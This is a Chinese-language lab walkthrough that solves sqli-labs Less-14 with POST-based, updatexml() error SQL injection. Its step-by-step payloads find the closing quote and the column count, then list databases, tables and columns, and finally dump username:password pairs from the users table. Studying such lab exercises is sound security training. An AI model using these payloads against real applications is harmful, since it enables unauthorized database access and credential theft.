sqli-labs less-14post报错注入updatexml

post提交报错注入

闭合方式及注入点

利用hackbar进行注入,构造post语句

uname=aaa"passwd=bbb&Submit=Submit

页面报错,根据分析,闭合方式".

确定列数

构造

uname=aaa" or 1=1 # &passwd=bbb&Submit=Submit 确定存在注入
uname=aaa" order by 3 # &passwd=bbb&Submit=Submit 有报错

uname=aaa" order by 2 # &passwd=bbb&Submit=Submit 无报错,列数2

回显位置

uname=aaa" union select 1,2 # &passwd=bbb&Submit=Submit

发现页面没有回显,想到前面 存在报错,想到报错注入

使用updatexml()函数来进行报错注入

查询数据库与版本等

  • uname=aaa" union select 1,updatexml(1,concat('~',(select database())),3) # &passwd=bbb&Submit=Submit
    数据库名
  • uname=aaa" union select 1,updatexml(1,concat('~',(select version())),3) # &passwd=bbb&Submit=Submit
    版本

爆出所有数据库

  • uname=aaa" union select 1,updatexml(1,concat('~',(select schema_name from information_schema.schemata limit 0,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat('~',(select schema_name from information_schema.schemata limit 5,1)),3) # &passwd=bbb&Submit=Submit
    通过修改limit函数的值来查询所有的数据库名

爆出所有表名

  • uname=aaa" union select 1,updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 1,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 2,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1)),3) # &passwd=bbb&Submit=Submit
    得到users

爆出列名

  • uname=aaa" union select 1,updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1)),3) # &passwd=bbb&Submit=Submit
    得到列id,username,password

爆出数据

  • uname=aaa" union select 1,updatexml(1,concat('~',(select concat(username,':',password) from security.users limit 0,1)),3) # &passwd=bbb&Submit=Submit
    修改0的值,就可以得到所有的数据

完成,

相关推荐
渣渣盟13 小时前
Flink Table API与SQL流数据处理实战
大数据·sql·flink·scala
mygljx13 小时前
SpringBoot+Mybatis-plus实现分页查询(一看就会)
spring boot·mybatis·状态模式
再不会python就不礼貌了18 小时前
从工具到个人助理——AI Agent的原理、演进与安全风险
人工智能·安全·ai·大模型·transformer·ai编程
成为大佬先秃头19 小时前
数据库连接池:Druid
数据库·mysql·druid
Chengbei1121 小时前
推送POC汇总 — 2026年1月多产品多类型vulnerability速递与应急建议
安全·web安全·网络安全·系统安全·网络攻击模型·安全架构
freewlt1 天前
深入理解 OpenClaw:打造安全可控的本地 AI 助理架构
人工智能·安全·架构·openclaw
晓华-warm1 天前
Warm-Flow 1.8.5 正式发布:超时自动审批、暂存功能来了!
数据库
u0136863821 天前
将Python Web应用部署到服务器(Docker + Nginx)
jvm·数据库·python
light blue bird1 天前
多页签Razor组支轴业务整顿组件
数据库·.net·ai大数据·多功能图表报表·web mvc + razor
wregjru1 天前
【mysql】2.数据表操作
数据库·mysql